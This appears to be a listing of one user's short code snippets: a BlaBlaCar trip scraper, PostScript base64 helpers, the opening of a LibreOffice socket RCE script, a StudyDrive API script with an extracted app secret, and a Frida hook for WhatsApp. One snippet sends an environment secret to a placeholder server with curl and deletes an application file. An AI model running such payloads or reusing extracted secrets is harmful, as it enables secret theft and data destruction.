Romern

Example:

$ python3 blablacar.py Hamburg Ulm 2024-12-16 2024-12-23
                           BlaBlaCar Trips from Hamburg to Ulm on 2024-12-16 to 2024-12-23
┏━━━━━━━━━━━━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┳━━━━━━━━━┓
┃ Departure Time            ┃ From Location                    ┃ To Location                               ┃ Price   ┃
┡━━━━━━━━━━━━━━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━╇━━━━━━━━━┩
│ 2024-12-18T08:00:00+01:00 │ Hamburg, Massaquoipassage 2      │ Elchingen, Pendlerparkplatz Oberelchingen │ 46,99 € │
│ 2024-12-18T09:30:00+01:00 │ Hamburg, Steintorwall 18-20      │ Ulm, Am Lederhof 1                        │ 32,19 € │
│ 2024-12-18T11:00:00+01:00 │ Hamburg, Burgstraße              │ Neu-Ulm, Harzweg 2                        │ 49,59 € │

Romern

import os
import base64
os.system("curl https://MYSERVER/"+base64.b64encode(os.environ["FLAG"].encode()).decode())
os.system("rm /app/flask.py")
os._exit(1)

Romern

%!PS

%%% base64 encoding code
% http://www.sunshine2k.de/articles/coding/base64/understanding_base64.html
/base64DecodingTable [
    80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 %/* 0 - 15 */
    80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 %/* 16 - 31 */
    80 80 80 80 80 80 80 80 80 80 80 62 80 80 80 63 %/* 32 - 47 */
    52 53 54 55 56 57 58 59 60 61 80 80 80 64 80 80 %/* 48 - 63 */
    80  0  1  2  3  4  5  6  7  8  9 10 11 12 13 14 %/* 64 - 79 */

Romern

from pathlib import Path
import socket
import time

# RCE when having access to unix sockets
# TODO: start a named_pipe instead

# first stage: start uno api

# OSL PIPE apparently used for quick starts when libreoffice is already started

Romern

import hashlib
import requests

# app hat ratelimiting für session:
# 'x-ratelimit-limit': '30', 'x-ratelimit-remaining': '0', 'retry-after': '56', 'x-ratelimit-reset': '1708281174'

# from de.veedapp.veed.api_clients.getDocumentStorageUrl
download_secret = "studydrive-app-download-7>%jsc"

base_url = "https://gateway.production-01.studydrive.net"

Romern

Java.enumerateClassLoaders({
    onMatch: function(loader){
        Java.classFactory.loader = loader;

        // Hook the class if found, else try next classloader.
        try{
            //Override OnDismiss, so we can dismiss the login error dialog without the app closing
            LoginFailedDialogFragment = Java.use("com.whatsapp.DisplayExceptionDialogFactory$LoginFailedDialogFragment");
            LoginFailedDialogFragment.onDismiss.implementation = function() {};
        }catch(error){

Romern

%!PS-Adobe-3.0 EPSF-3.0
%%Pages: 1
%%BoundingBox:   36   36  576  756
%%LanguageLevel: 1
%%EndComments
%%BeginProlog
%%EndProlog

% (a) (b) -> (ab)
% https://stackoverflow.com/questions/12378904/postscript-concatenate-two-strings

Romern

%!PS

%%%%%%%%%%%%%%%%%%%Helper Functions

% (a) (b) -> (ab) 
/concatstrings { exch dup length 
 2 index length add string 
 dup dup 4 2 roll copy length
 4 -1 roll putinterval
} bind def

Romern

Romern

/base64EncodingTable [
	(A) (B) (C) (D) (E) (F) (G) (H) (I) (J)
	(K) (L) (M) (N) (O) (P) (Q) (R) (S) (T)
	(U) (V) (W) (X) (Y) (Z) (a) (b) (c) (d)
	(e) (f) (g) (h) (i) (j) (k) (l) (m) (n)
	(o) (p) (q) (r) (s) (t) (u) (v) (w) (x)
	(y) (z) (0) (1) (2) (3) (4) (5) (6) (7)
	(8) (9) (+) (/)
] def